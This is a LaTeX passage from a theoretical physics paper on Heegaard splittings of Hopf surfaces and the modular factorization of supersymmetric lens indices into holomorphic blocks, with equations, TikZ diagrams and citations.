f'=hf\tilde{h}^{-1}\,,\qquad f=g_{(p,q)}\,\mathcal{O}\,,\quad g_{(p,q)}\equiv \begin{pmatrix}
1 & 0 & 0 \\
0 & -s & -r \\
0 & -p & -q
\end{pmatrix}\in SL(2,\mathbb{Z})_{23}\,.
\end{equation}
In other words, this means that there always exists a basis on the $D_2\times T^2$ geometries such that the gluing leaves invariant a non-contractible cycle.
From the preceding discussion we know that such a gluing produces a geometry with topology $L(p,q)\times S^1$, where we note that $g_{(p,q)}$ by itself still redundantly encodes $L(p,q)$.
\subsection{Hopf surfaces}\label{ssec:hopf-surfaces}
In this section, we summarize how manifolds with topology $L(p,q)\times S^1$ and $D_2\times T^2$ can be endowed with complex structure moduli and subsequently extend the Heegaard splitting to include a mapping of the moduli.
We refer to Appendix \ref{app:hopf-surfaces} for a more detailed discussion.
A primary Hopf surface is a complex manifold with topology $S^3\times S^1$.
It is defined as a quotient of $\mathbb{C}^2\setminus \lbrace(0,0)\rbrace$ by the $\mathbb{Z}$-action:
\begin{equation}\label{eq:hopf-surface-ids}
(z_1,z_2)\sim (\hat{p}z_1,\hat{q}z_2)\,,\qquad 0<|\hat{p}|\leq |\hat{q}|<1\,,
\end{equation}
with $\hat{p}=e^{2\pi i\hat{\sigma}}$ and $\hat{q}=e^{2\pi i\hat{\tau}}$ representing the complex structure moduli.\footnote{The complex parameters $\hat{p}$ and $\hat{q}$ are not to be confused with the integers $p$ and $q$ defining the lens space $L(p,q)$.}
A secondary Hopf surface is defined as the lens quotient \eqref{eq:lens-quotient} of a primary Hopf surface.
As such, it has topology $L(p,q)\times S^1$.
We will denote these complex manifolds uniformly by:
\begin{equation}\label{eq:notation-hopf-surface}
\mathcal{M}_{(p,q)}(\hat{\boldsymbol{\rho}})\,,
\end{equation}
where the primary Hopf surface has $(p,q)=(1,0)$ and we denote the moduli by:
\begin{equation}\label{eq:hat-rho}
\hat{\boldsymbol{\rho}}\equiv(\hat{z}_a; \hat{\tau},\hat{\sigma})\,.
\end{equation}
The (real) holonomies $\hat{z}_{1,\ldots,r}$ along $S^1$ parametrize a rank $r$ vector bundle over the Hopf surface associated to a rank $r$ global symmetry.
With respect to $\hat{\boldsymbol{\rho}}$, the following transformations yield an identical Hopf surface:
\begin{align}\label{eq:syms-lens-geom}
\begin{split}
\hat{z}_a&\to \hat{z}_a+1\,,\quad \hat{\tau}\to \hat{\tau}+1\,,\quad \hat{\sigma}\to \hat{\sigma}+1\,,\\
\hat{\tau}&\to \hat{\tau}-\tfrac{1}{p}\quad \text{and} \quad \hat{\sigma}\to \hat{\sigma} +\tfrac{q}{p}\,,\\
\hat{\tau}&\to \hat{\tau}-\tfrac{s}{p}\quad \text{and} \quad\hat{\sigma}\to \hat{\sigma} +\tfrac{1}{p}\,,
\end{split}
\end{align}
where we recall that $s=q^{-1}\mod p$.
The Hopf surface is also invariant under:
\begin{equation}\label{eq:syms-lens-geom-3}
q\to q+p\,,\quad s\to s+p\,,
\end{equation}
and finally:
\begin{equation}\label{eq:syms-lens-geom-2}
\hat{\tau}\leftrightarrow \hat{\sigma} \quad \text{and} \quad q\leftrightarrow s\,,
\end{equation}
both of which follow from the lens quotient in \eqref{eq:lens-quotient}.
Similar to the previous section, we also define:
\begin{equation}
\mathcal{M}_{(0,-1)}(\hat{\boldsymbol{\rho}})\cong S^2\times T^2\,.
\end{equation}
In this case, $\hat{\sigma}$ can be interpreted as the modular parameter of the $T^2$, while $\hat{\tau}$ captures twists of $S^2$ as one-cycles along either of the $T^2$ cycles (see Appendix \ref{sapp:S2T2}).
In addition, $\hat{z}_a$ can be viewed as a complex holonomy, capturing two real holonomies along both cycles of the $T^2$.
In this case, the group of large diffeomorphisms and gauge transformations is given by $\mathcal{H}=SL(2,\mathbb{Z})\ltimes \mathbb{Z}^{2(1+r)}$ \cite{Closset:2013sxa}.
We will describe its action on $\hat{\boldsymbol{\rho}}$ momentarily.
Finally, the $D_2\times T^2$ geometry can be endowed with complex structure moduli and holonomies in exactly the same way as $\mathcal{M}_{(0,-1)}(\hat{\boldsymbol{\rho}})$ \cite{Longhi:2019hdh}.
To distinguish from the closed manifolds, we denote these moduli by:
\begin{equation}\label{eq:rho-homog}
\boldsymbol{\rho}\equiv(z_a;\tau,\sigma)=\left(\frac{Z_a}{x_1};\frac{x_2}{x_1},\frac{x_3}{x_1}\right) \,,
\end{equation}
where the second equality substitutes the projective moduli $(\vec{z}; \tau, \sigma)$ in terms of homogeneous moduli $(\vec{Z};x_1,x_2,x_3)$.
The $x_i$ can be thought of as complexifications of the cycle lengths of $T^3$; we associate $x_2$ to the contractible cycle \cite{Felder_2000,Gadde:2020bov}.
See Figure \ref{fig:solid-3torus}.
\begin{figure}[t]
\centering
\begin{tikzpicture}
\node[ellipse,
draw = black,
text = black,
minimum width = 1.5cm,
minimum height = 1.5cm] (e1) at (0,0) {$x_1$};
\node[ellipse,
draw = black,
text = black,
fill = cyan!20,
minimum width = 1.5cm,
minimum height = 1.5cm] (e2) at (2,0) {$x_2$};
\node[ellipse,
draw = black,
text = black,
minimum width = 1.5cm,
minimum height = 1.5cm] (e3) at (4,0) {$x_3$};
\end{tikzpicture}
\caption{Schematic depiction of $D_2\times T^2$ with the contractible cycle shaded. Its complex structure moduli $(\tau,\sigma)$ are represented by the homogeneous moduli $x_i$.}
\label{fig:solid-3torus}
\end{figure}
In order to write the Heegaard splitting of a Hopf surface, we must first define the action of the gluing transformation on the moduli $\boldsymbol{\rho}$.
The full gluing group consists of both the large diffeomorphisms and gauge transformations of (the rank $r$ vector bundle over) $T^3$ \cite{Gadde:2020bov}.
This group is given by:
\begin{equation}\label{eq:def-mathcalG}
\mathcal{G}\equiv SL(3,\mathbb{Z})\ltimes \mathbb{Z}^{3r}\,.
\end{equation}
The subgroup $SL(3,\mathbb{Z})\subset \mathcal{G}$ acts on $\boldsymbol{\rho}$ by left matrix multiplication\footnote{This contrasts with the action of $SL(3,\mathbb{Z})$ on the cycles by right multiplication, cf.\ \eqref{eq:Mg-defn-lambda-mu}.} on the vector $\textbf{x}=(x_1,x_2,x_3)$, and the $t^{(a)}_{i}$ generators of each $\mathbb{Z}^3$ factor shift $Z_a$ by $x_i$ \cite{Felder_2000,Gadde:2020bov}:
\begin{equation}\label{eq:calG-action}
\begin{aligned}
g \in SL(3,\mathbb{Z}): \qquad \textbf{x} &\mapsto g \cdot \textbf{x} \,, \\
t^{(a)}_i \in \mathbb{Z}^3_a: \qquad Z_a&\mapsto Z_a+x_i\,.
\end{aligned}
\end{equation}
For completeness, we collect the mixed relations satisfied by $T_{ij}$ and $t_i^{(a)}$ here, suppressing $a$, which together with \eqref{eq:sl3-relns} fully specifies the relations in the group $\mathcal{G}$:
\begin{equation}\label{eq:Z3-relns}
\begin{aligned}
T_{ij}t_k=t_kT_{ij}\,, \quad (i\neq k)\,,\qquad T_{ij}t_i=t_it_j^{-1}T_{ij} \,,\qquad t_it_j=t_jt_i\,.
\end{aligned}
\end{equation}
The subgroup of large diffeomorphisms and gauge transformations of $D_2\times T^2$ is denoted by $\mathcal{H}$ and takes the form:
\begin{equation}\label{eq:defn-calH}
\mathcal{H} =SL(2,\mathbb{Z})_{13}\ltimes \mathbb{Z}^{2(1+r)}\,,\qquad \mathbb{Z}^{2(1+r)}=\langle T_{21},T_{23},t_{1}^{(a)},t_{3}^{(a)}\rangle \,,
\end{equation}
which contains $H$, the group of large diffeomorphisms, defined in Section \ref{ssec:top-aspects}.
The action of $\mathcal{H}$ on $\boldsymbol{\rho}$ is obtained from \eqref{eq:calG-action} by viewing $\mathcal{H}\subset \mathcal{G}$.
This group also acts on $\mathcal{M}_{(0,-1)}(\hat{\boldsymbol{\rho}})$, as mentioned above, and its action on $\hat{\boldsymbol{\rho}}$ is identical.
We can now state the Heegaard splitting of a general Hopf surface:
\begin{equation}\label{eq:notation-Mg-split}
\mathcal{M}_{(p,q)}(\hat{\boldsymbol{\rho}})\cong M_{f}(\boldsymbol{\rho},\tilde{\boldsymbol{\rho}})\equiv D_2 \times T^2 (\boldsymbol{\rho})\overset{f}{\sqcup}D_2 \times T^2 (\tilde{\boldsymbol{\rho}})\,,
\end{equation}
where $f=g_{(p,q)}\,\mathcal{O}$ with $g_{(p,q)}\in SL(2,\mathbb{Z})_{23}$ as in \eqref{eq:gSL2-from-gSL3}, as derived in Appendix \ref{app:hopf-surfaces}.\footnote{We turn to the Heegaard splitting of a Hopf surface for $g\in\mathcal{G}$ general in Section \ref{ssec:ambig-heegaard}.}
In addition, $\boldsymbol{\rho}$ and $\tilde{\boldsymbol{\rho}}$ capture the moduli of the two $D_2\times T^2$ geometries and are related via the gluing condition:
\begin{equation}\label{eq:gluing-condition}
\tilde{\boldsymbol{\rho}}=f^{-1}\boldsymbol{\rho}\,.
\end{equation}
Finally, the moduli of the Hopf surface $\hat{\boldsymbol{\rho}}$ are related to $\boldsymbol{\rho}$ as follows:
\begin{equation}\label{eq:p-moduli}
\boldsymbol{\rho}=(z_a;\tau,\sigma)=\begin{cases}
(\hat{z}_a;\hat{\tau},\hat{\sigma})\,, \; &\text{for}\;p=r=0\,,\,q=s= -1\,,\\
(\hat{z}_a;\hat{\tau}+s\hat{\sigma},p\hat{\sigma})\,, \; &\text{for}\;p\neq 0 \,. \end{cases}
\end{equation}
Matching the holonomies requires us to set the imaginary part of $z_a$ to zero.
For later convenience, we note that the gluing condition implies:
\begin{equation}\label{eq:p-moduli-tilde}
\tilde{\boldsymbol{\rho}}=(\tilde{z}_a;\tilde{\tau},\tilde{\sigma})=\begin{cases}
(\hat{z}_a;-\hat{\tau},\hat{\sigma})\,, \; &\text{for}\;p=r= 0\,,\,q=s= -1\,,\\
(\hat{z}_a;\hat{\sigma}+q\hat{\tau},p\hat{\tau})\,, \; &\text{for}\;p\neq 0 \,.
\end{cases}
\end{equation}
\subsection{Ambiguities in the Heegaard splitting}\label{ssec:ambig-heegaard}
As we have seen in Section \ref{ssec:top-aspects}, the gluing transformation $f$ encodes the topology of $L(p,q)\times S^1$ redundantly.
This leads to ambiguities in the Heegaard splitting.
For the Hopf surfaces, these ambiguities arise when combining the action $f\to f'$ with an action on the moduli $(\boldsymbol{\rho},\tilde{\boldsymbol{\rho}})$ such that the gluing condition is preserved:
\begin{equation}\label{eq:combined-geom-action}
\begin{alignedat}{2}
f'&= hf\tilde{h}^{-1}\,,&\qquad (\boldsymbol{\rho}',\tilde{\boldsymbol{\rho}}')&=(h\boldsymbol{\rho},\tilde{h}\tilde{\boldsymbol{\rho}})\,,\qquad h,\tilde{h}\in\mathcal{H}\,,\\
\textrm{or}\quad f'&= f^{-1}\,,&\qquad (\boldsymbol{\rho}',\tilde{\boldsymbol{\rho}}')&=(\tilde{\boldsymbol{\rho}},\boldsymbol{\rho})\,,\\
\textrm{or}\quad f'&= \mathcal{O}f^{-1}\mathcal{O}\,,&\qquad (\boldsymbol{\rho}',\tilde{\boldsymbol{\rho}}')&=(\mathcal{O}\tilde{\boldsymbol{\rho}},\mathcal{O}\boldsymbol{\rho})\,,
\end{alignedat}
\end{equation}
where the action of $h$ on $\boldsymbol{\rho}$ is defined by \eqref{eq:calG-action}.
It follows that a Hopf surface with Heegaard splitting $M_f(\boldsymbol{\rho},\tilde{\boldsymbol{\rho}})$ also admits a Heegaard splitting for any of these transformations:
\begin{align}\label{eq:main-geom-equiv}
\begin{split}
\mathcal{M}_{(p,q)}(\hat{\boldsymbol{\rho}})\cong M_{f'}(\boldsymbol{\rho}',\tilde{\boldsymbol{\rho}}')\,.
\end{split}
\end{align}
Here, $\boldsymbol{\rho}'$ is understood to be a function of $\boldsymbol{\rho}$, which in turn is related to $\hat{\boldsymbol{\rho}}$ as in \eqref{eq:p-moduli}.
This makes our claim \eqref{eq:l(p,1)-split-2-intro} in the introduction explicit.
For illustration, we present an example in Figure \ref{fig:geom-equiv} for $h=\tilde{h}=S_{13}$ and $f=S_{23}\,\mathcal{O}$.
As a consequence of \eqref{eq:gSL2-from-gSL3}, the expressions \eqref{eq:main-geom-equiv} relate the Hopf surfaces that were associated in Section \ref{ssec:hopf-surfaces} to $g_{(p,q)}\in SL(2,\mathbb{Z})_{23}\subset SL(3,\mathbb{Z})$ to any $g'\in SL(3,\mathbb{Z})$.
\begin{figure}[t]
\centering
\begin{subfigure}[t]{0.49\textwidth}
\centering
\begin{tikzpicture}
\node (rho1) at (0,1.5) {$\boldsymbol{\rho}$};
\node (rho2) at (3,1.5) {$\tilde{\boldsymbol{\rho}}$};
\draw [-latex] (rho2) -- node[above=1.5mm] {$S_{23}\mathcal{O}$} (rho1) ;
\node[ellipse,
draw = black,
text = black,
minimum width = 0.2cm,
minimum height = 1.8cm] (e1) at (0,0) {$x_1$};
\node[ellipse,
draw = black,
text = black,
fill = cyan!20,
minimum width = 0.2cm,
minimum height = 1.8cm] (e2) at (0,-2) {$x_2$};
\node[ellipse,
draw = black,
text = black,
minimum width = 0.2cm,
minimum height = 1.8cm] (e3) at (0,-4) {$x_3$};
\node[ellipse,
draw = black,
text = black,
minimum width = 0.2cm,
minimum height = 1.8cm] (f1) at (3,0) {$x_1$};
\node[ellipse,
draw = black,
text = black,
fill = cyan!20,
minimum width = 0.2cm,
minimum height = 1.8cm] (f2) at (3,-2) {$x_3$};
\node[ellipse,
draw = black,
text = black,
minimum width = 0.2cm,
minimum height = 1.8cm] (f3) at (3,-4) {$x_2$};
\draw [-latex][dashed] (f1) -- (e1) ;
\draw [-latex][dashed] (f2) -- (e3) ;
\draw [-latex][dashed] (f3) -- (e2) ;
\end{tikzpicture}
\caption{$M_{S_{23}\mathcal{O}}(\boldsymbol{\rho},\tilde{\boldsymbol{\rho}})$}
\label{fig:MS23}
\end{subfigure}
\hfill
\begin{subfigure}[t]{0.49\textwidth}
\centering
\begin{tikzpicture}
\node (rho1) at (0,1.5) {$S_{13}\boldsymbol{\rho}$};
\node (rho2) at (3,1.5) {$S_{13}\tilde{\boldsymbol{\rho}}$};
\draw [-latex] (rho2) -- node[above=1.5mm] {$S_{12}^{-1}\mathcal{O}$} (rho1) ;
\node[ellipse,
draw = black,
text = black,
minimum width = 0.2cm,
minimum height = 1.8cm] (e1) at (0,0) {$x_3$};
\node[ellipse,
draw = black,
text = black,
fill = cyan!20,
minimum width = 0.2cm,
minimum height = 1.8cm] (e2) at (0,-2) {$x_2$};
\node[ellipse,
draw = black,
text = black,
minimum width = 0.2cm,
minimum height = 1.8cm] (e3) at (0,-4) {$-x_1$};
\node[ellipse,
draw = black,
minimum height = 1.8cm] (f1) at (3,0) {$x_2$};
\node[ellipse,
draw = black,
text = black,
fill = cyan!20,
minimum width = 0.2cm,
minimum height = 1.8cm] (f2) at (3,-2) {$x_3$};
\node[ellipse,
draw = black,
text = black,
minimum width = 0.2cm,
minimum height = 1.8cm] (f3) at (3,-4) {$-x_1$};
\draw [-latex][dashed] (f1) -- (e2) ;
\draw [-latex][dashed] (f2) -- (e1) ;
\draw [-latex][dashed] (f3) -- (e3) ;
\end{tikzpicture}
\caption{$M_{S_{12}^{-1}\mathcal{O}}(S_{13}\boldsymbol{\rho},S_{13}\tilde{\boldsymbol{\rho}})$}
\label{fig:MS12}
\end{subfigure}
\caption{Illustration of \eqref{eq:main-geom-equiv} for the example $\tilde{\boldsymbol{\rho}}=\mathcal{O}S_{23}^{-1}\boldsymbol{\rho}$ and $h=\tilde{h}=S_{13}$. We have written the homogeneous moduli inside the relevant cycles of the $D_2\times T^2$ geometries as in Figure \ref{fig:solid-3torus}. The arrows indicate the identification of cycles. Clearly, both Heegaard splittings represent the same Hopf surface $\mathcal{M}_{(1,0)}(\hat{\boldsymbol{\rho}})$ with $\boldsymbol{\rho}=\hat{\boldsymbol{\rho}}$.}
\label{fig:geom-equiv}
\end{figure}
We stress that in general one should view the combined action \eqref{eq:combined-geom-action} as distinct from a large diffeomorphism, such as the $SL(2,\mathbb{Z})$ action on the complex structure of a two-torus.
Indeed, the large diffeomorphisms (and gauge transformations) of a general Hopf surface certainly do not include $\mathcal{H}\times \mathcal{H}$.
Instead, the action reflects ambiguities in the Heegaard splitting of the Hopf surface.
\bigskip
In establishing \eqref{eq:main-geom-equiv}, we have assumed that $\hat{\boldsymbol{\rho}}$ does not transform under the transformations \eqref{eq:combined-geom-action}.
We now show that the symmetries of a Hopf surface $\mathcal{M}_{(p,q)}(\hat{\boldsymbol{\rho}})$, namely the transformation \eqref{eq:syms-lens-geom} on $\hat{\boldsymbol{\rho}}$, the transformation \eqref{eq:syms-lens-geom-3} on $(p,q)$, and the transformation \eqref{eq:syms-lens-geom-2} on $\hat{\boldsymbol{\rho}}$ and $(p,q)$, can also be incorporated by a subset of transformations \eqref{eq:combined-geom-action}.
Namely, we want to show that:
\begin{align}
\begin{split}
\mathcal{M}_{(p,q)}(\hat{\boldsymbol{\rho}})\cong \mathcal{M}_{(p,q')}(\hat{\boldsymbol{\rho}}') \cong M_{f'}(\boldsymbol{\rho}',\tilde{\boldsymbol{\rho}}')\,,
\end{split}
\end{align}
where $\mathcal{M}_{(p,q')}(\hat{\boldsymbol{\rho}}')$ is related to $ \mathcal{M}_{(p,q)}(\hat{\boldsymbol{\rho}})$ by any of the above symmetries, and $(\boldsymbol{\rho}',\tilde{\boldsymbol{\rho}}')$ are related to $\hat{\boldsymbol{\rho}}'$ in the same way as $(\boldsymbol{\rho},\tilde{\boldsymbol{\rho}})$ are related to $\hat{\boldsymbol{\rho}}$, as in \eqref{eq:p-moduli}.
For example, the first relation in \eqref{eq:combined-geom-action} with $h,\tilde{h}\in \langle T_{21},T_{31}\rangle$ can be used to derive the shift symmetries in \eqref{eq:syms-lens-geom}.
To see this, we first observe that:
\begin{align}\label{eq:largediffeo-matrixrelation}
\begin{split}
T_{21}\,f\,T_{21}^{-q}T_{31}^{-p}&=f\,,\qquad T_{21}^{-s}T_{31}^{-p}\,f\,T_{21}=f\,, \\
T_{31}\,f\,T_{21}^{r}T_{31}^{s}&=f \,,\qquad T_{21}^{r}T_{31}^{q}\,f\,T_{31}=f\,,
\end{split}
\end{align}
with $f=g_{(p,q)}\mathcal{O}$ as in \eqref{eq:gSL2-from-gSL3}.
Since $f$ is invariant, we need only consider the action on the moduli $(\boldsymbol{\rho},\tilde{\boldsymbol{\rho}})$.
Using the relation with $\hat{\boldsymbol{\rho}}$ one easily checks that the action on $(\boldsymbol{\rho},\tilde{\boldsymbol{\rho}})$ is equivalent to the shift symmetries, establishing the claim.
In addition, acting with $h=\tilde{h}=t_1^{(a)}$ also leaves $f$ invariant; this corresponds to the symmetry of the Hopf surface (plus vector bundle) under $\hat{z}_a\to\hat{z}_a+1$.
Similarly, the equivalence in \eqref{eq:syms-lens-geom-2} is the statement that:
\begin{equation}
\mathcal{M}_{(p,q)}(\hat{z}_i;\hat{\tau},\hat{\sigma})\cong \mathcal{M}_{(p,s)}(\hat{z}_i;\hat{\sigma},\hat{\tau})\,.
\end{equation}
This is reproduced by the inversion on the second line of \eqref{eq:combined-geom-action}.
Finally, the fact that the Hopf surface only depends on $q,s\mod p$ follows from the first line of the combined action \eqref{eq:combined-geom-action}, now taking $h=T_{23}$ or $\tilde{h}=T_{23}$.
These actions change $f$ by the shifts $(s,r)\to (s+p,r+q)$ and $(q,r)\to (q+p,r+s)$, respectively.
On the moduli $\boldsymbol{\rho}$ and $\tilde{\boldsymbol{\rho}}$, they correspond to the shifts $\tau\to \tau+\sigma$ and $\tilde{\tau}\to\tilde{\tau}+\tilde{\sigma}$, respectively.
From \eqref{eq:p-moduli} and \eqref{eq:p-moduli-tilde}, it follows that the combined action leaves $\hat{\boldsymbol{\rho}}$ invariant, and the claim follows.
Let us end with the special case $f=\mathcal{O}$, corresponding to the Hopf surface $\mathcal{M}_{(0,-1)}(\hat{\boldsymbol{\rho}})$ with topology $S^2\times T^2$.
Consider the first relation in \eqref{eq:combined-geom-action} for $\tilde{h}=\mathcal{O}h\mathcal{O}$:
\begin{equation}
\mathcal{O}\to h\mathcal{O} \tilde{h}^{-1}=\mathcal{O}\,.
\end{equation}
This action leads to the statement that:
\begin{equation}
M_{\mathcal{O}}(h\boldsymbol{\rho},\mathcal{O}h\boldsymbol{\rho})=M_{\mathcal{O}}(\boldsymbol{\rho},\mathcal{O}\boldsymbol{\rho}) \,.
\end{equation}
Given the fact that $\boldsymbol{\rho}=\hat{\boldsymbol{\rho}}$, we see that the combined action in this special case reduces to the statement that $\mathcal{H}$ is the group of large diffeomorphisms and gauge transformations of $\mathcal{M}_{(0,-1)}(\hat{\boldsymbol{\rho}})$, which is indeed correct.
\section{Modular factorization of lens indices}\label{sec:mod-fac-lens-indices}
In this section, we consider supersymmetric partition functions on secondary Hopf surfaces, also known as lens indices.
We give a comprehensive review of the holomorphic block factorization of lens indices, which is the statement that lens indices respect the Heegaard splitting of a Hopf surface.
We then argue that (a subset of) the ambiguities discussed in Section \ref{ssec:ambig-heegaard} lead to a modular family of holomorphic blocks into which a given lens index can be factorized.
After providing a geometric interpretation of the modular subset, we proceed to prove the conjecture in the context of concrete $\mathcal{N}=1$ gauge theories.
The proof relies in particular on modular properties of the elliptic $\Gamma$ function derived in Appendix \ref{app:mod-props-Gamma}.
\subsection{Towards a conjecture}\label{ssec:towards-conjecture}
It was shown in \cite{Closset:2013vra} (based on \cite{Festuccia:2011ws,Dumitrescu:2012ha}) that $\mathcal{N}=1$ theories with a $U(1)_R$ symmetry can be formulated on the Hopf surfaces $\mathcal{M}_{(p,q)}(\hat{\boldsymbol{\rho}})$ for general values of the complex structure moduli while preserving two real supercharges.\footnote{The same result holds for the $D_2\times T^2(\boldsymbol{\rho})$ geometry \cite{Longhi:2019hdh}.}
An additional requirement is that the R-charges of the fields are quantized as integers for the case $p=0$ and $q=-1$, i.e., $S^2\times T^2$, and as integer multiples of $\frac{2}{q-1}$ for $q>1$.
The supersymmetric background allows a computation of the supersymmetric partition function on $\mathcal{M}_{(p,q)}(\hat{\boldsymbol{\rho}})$, which equals the associated index, i.e., a weighted trace over the Hilbert space of the theory on $L(p,q)$ \cite{Closset:2013vra,Closset:2014uda,Assel:2014paa}.\footnote{\label{fn:susy-cas-en}We define these indices for general $\mathcal{N}=1$ gauge theories in Appendix \ref{app:lens-indices}. The equality between the localized partition function and the index holds up to a proportionality factor associated with the supersymmetric Casimir energy \cite{Assel:2014paa,Assel:2015nca,Bobev:2015kza}.}
The fugacities appearing in the index can be mapped to both the complex structure moduli of the Hopf surface and the holonomies for background gauge fields associated to global symmetries.
It was argued in \cite{Closset:2013vra,Closset:2014uda} that such partition functions depend holomorphically on the complex structure moduli and holonomies, while being insensitive to other details of the background.
This was confirmed in \cite{Closset:2013sxa,Assel:2014paa,Nishioka:2014zpa} through explicit localization computations.
In the following, we will always consider the formulation of the partition functions as indices, ignoring the prefactor associated with the supersymmetric Casimir energy.
We thus collectively refer to the partition functions on secondary Hopf surfaces as \emph{lens indices} and denote them by:
\begin{equation}\label{eq:notation-lens-index}
\mathcal{I}_{(p,q)}(\hat{\boldsymbol{\rho}})\,,
\end{equation}
where the notation reflects the holomorphic dependence on the complexified moduli $\hat{\boldsymbol{\rho}}$.
Since we are interested in the full collection of lens indices, we will assume that the R-charges are quantized as even integers.
As explained in \cite{Gadde:2020bov}, this can be achieved through an appropriate shift of the R-symmetry by a flavor symmetry.
The resulting R-symmetry typically does not coincide with the superconformal R-symmetry of the IR $\mathcal{N}=1$ SCFT, and therefore the indices are parametrized in a non-standard way.\footnote{The Bethe Ansatz computation of the superconformal index also employs a shifted R-symmetry such that the R-charges are quantized as integers \cite{Benini:2018mlo,Benini:2018ywd}.}
Let us now introduce an alternative notation for the lens index that reflects the Heegaard splitting $M_{f}(\boldsymbol{\rho},\tilde{\boldsymbol{\rho}})$ of the underlying Hopf surface:
\begin{equation}\label{eq:defn-Zf-notation}
\mathcal{Z}_f(\boldsymbol{\rho})\equiv \mathcal{I}_{(p,q)}(\hat{\boldsymbol{\rho}})\,,
\end{equation}
where $f=g_{(p,q)}\,\mathcal{O}$ with $g_{(p,q)}\in SL(2,\mathbb{Z})_{23}$ as in \eqref{eq:gSL2-from-gSL3}, and $\boldsymbol{\rho}$ is related to $\hat{\boldsymbol{\rho}}$ through \eqref{eq:p-moduli}.
Because of the gluing condition, we write $\mathcal{Z}_f$ as a function of $\boldsymbol{\rho}$ only.
As examples of the notation, $\mathcal{Z}_{S_{23}\mathcal{O}}(\boldsymbol{\rho})$ corresponds to the superconformal index, $\mathcal{Z}_{\mathcal{O}}(\boldsymbol{\rho})$ corresponds to the index on $S^2\times T^2$, and $\mathcal{Z}_{g_{(p,1)}\,\mathcal{O}}(\boldsymbol{\rho})$ corresponds to the index on $L(p,1)\times S^1$.
These indices are defined in Appendix \ref{app:lens-indices} in terms of $\hat{\boldsymbol{\rho}}$.
Consider now two distinct Heegaard splittings $M_f(\boldsymbol{\rho},\tilde{\boldsymbol{\rho}})$ and $M_{f'}(\boldsymbol{\rho}',\tilde{\boldsymbol{\rho}}')$ of a Hopf surface, where $f'$ is related to $f$ via the orientation preserving transformations in \eqref{eq:combined-geom-action}:
\begin{equation}\label{eq:f-rho-orient-pres-transf}
f'=hf\tilde{h}^{-1}\,,\quad \boldsymbol{\rho}'=h\boldsymbol{\rho}\qquad \text{or}\qquad f'=f^{-1}\,,\quad \boldsymbol{\rho}'=f^{-1}\boldsymbol{\rho}\,.
\end{equation}
Note that the transformation $\tilde{\boldsymbol{\rho}}'=(f')^{-1}\boldsymbol{\rho}'$ is implied.
By definition of $\mathcal{Z}_{f}(\boldsymbol{\rho})$, we have for either transformation:\footnote{The behaviour under the orientation reversing transformation in \eqref{eq:combined-geom-action} is more complicated, and we return to it in Section \ref{ssec:1-cocycle-lens-indices}.}
\begin{equation}\label{eq:lens-index-equivalence}
\mathcal{Z}_{f'}(\boldsymbol{\rho}')=\mathcal{Z}_{f}(\boldsymbol{\rho})\,
\end{equation}
since the Hopf surface itself has not changed.
As already mentioned in Section \ref{sec:intro}, the lens indices have a factorization property that reflects the Heegaard splitting of the Hopf surface.
Postponing a detailed review to Section \ref{ssec:hol-blocks}, we here note that while the second transformation in \eqref{eq:f-rho-orient-pres-transf} is trivially satisfied in factorized form, the first transformation predicts:
\begin{equation}\label{eq:schem-Zg-Bh-fact}
\mathcal{Z}_{hf\tilde{h}^{-1}}(h\boldsymbol{\rho})=e^{i\pi \mathcal{P}'}\sum \mathcal{B}_{h}(\boldsymbol{\rho})\mathcal{B}_{\tilde{h}}(f^{-1}\boldsymbol{\rho})= e^{i\pi \mathcal{P}} \sum \mathcal{B}(\boldsymbol{\rho})\mathcal{B}(f^{-1}\boldsymbol{\rho})=\mathcal{Z}_{f}(\boldsymbol{\rho})\,,
\end{equation}
where the holomorphic block $\mathcal{B}(\boldsymbol{\rho})$ is interpreted as a (supersymmetric) partition function on $D_2\times T^2$ with moduli $\boldsymbol{\rho}$, and $\mathcal{B}_{h}(\boldsymbol{\rho})$ is defined as:
\begin{equation}\label{eq:defn-Bh}
\mathcal{B}_{h}(\boldsymbol{\rho})\equiv \mathcal{B}(h\boldsymbol{\rho})\,.
\end{equation}
We also included phases in the factorization, which are in general non-trivial and will be derived explicitly later on.
While \eqref{eq:lens-index-equivalence} holds for arbitrary $h,\tilde{h}\in \mathcal{H}$, we will see that the factorized expressions only exist for certain pairs $(h,\tilde{h})$.
As it turns out, the allowed pairs $(h,\tilde{h})$ still form an interesting modular subset of $\mathcal{H}\times \mathcal{H}$.
Naively, it might thus seem as if we are predicting a modular covariance for lens indices, even though the group of large diffeomorphisms of a general Hopf surface does not contain a modular group.
However, let us stress some important distinctions.
First of all, the functions $\mathcal{B}$ by themselves are not (weight $0$) automorphic forms under $\mathcal{H}$: $\mathcal{B}_h\ncong \mathcal{B}$ for general $h\in \mathcal{H}$, even though $\mathcal{H}$ represents the group of large diffeomorphisms and gauge transformations of $D_2\times T^2$.\footnote{Modular properties of holomorphic blocks in three dimensions are also more subtle than those of ordinary modular forms \cite{Cheng:2018vpl}.}
It follows that the covariance crucially relies on the product.
But even the product is not an ordinary modular object, since the equation expresses a covariance with respect to a \emph{combined action} on both $\boldsymbol{\rho}$ and $f$.
Instead, the covariance reflects ambiguities in the Heegaard spitting and is non-trivial only at the level of the factorized expressions.
\subsection{Review of holomorphic block factorization}\label{ssec:hol-blocks}
In this section we review in detail the factorization of lens indices into holomorphic blocks, as anticipated in \eqref{eq:nieri-pasq-result}, based on \cite{Nieri:2015yia,Longhi:2019hdh}.
We first focus on structural properties of the formulae for generic theories, and illustrate the claims in Section \ref{sssec:example-free-chiral} and Section \ref{sssec:sqed} with the example of a free chiral multiplet and SQED, respectively.
For three-dimensional gauge theories, factorization properties of supersymmetric partition functions on $S^2\times S^1$, $S^3$ and $L(p,1)$ were first established and studied in \cite{Pasquetti:2011fj,Beem:2012mb,Hwang:2012jh,Imamura:2013qxa}.
The result was obtained through manipulation of a Coulomb branch formula for the partition functions, which takes the form of an integral over gauge holonomies associated to the Cartan torus of the gauge group.
In these works, it was also argued that the factors, dubbed \emph{holomorphic blocks} in \cite{Beem:2012mb}, could be understood in terms of supersymmetric partition functions on the solid tori associated to the Heegaard splitting of the three-manifold.
A more direct, path integral derivation of the factorization properties was given later in \cite{Benini:2012ui,Doroud:2012xw,Fujitsuka:2013fga,Benini:2013yva}.
These works employ a different localization scheme giving rise to a so-called Higgs branch formula for the partition function.
In this scheme, the gauge symmetry is completely broken and the path integral only receives contributions from field configurations localized at the centers of the two solid tori.
The resulting formula takes on the form of a finite sum over Higgs branch vacua of (a mass deformation of) the theory, and the summand is naturally factorized.
The equality between the Higgs and Coulomb branch formulae can be established by performing the contour integrals defining the latter through residues \cite{Fujitsuka:2013fga,Benini:2013yva}.
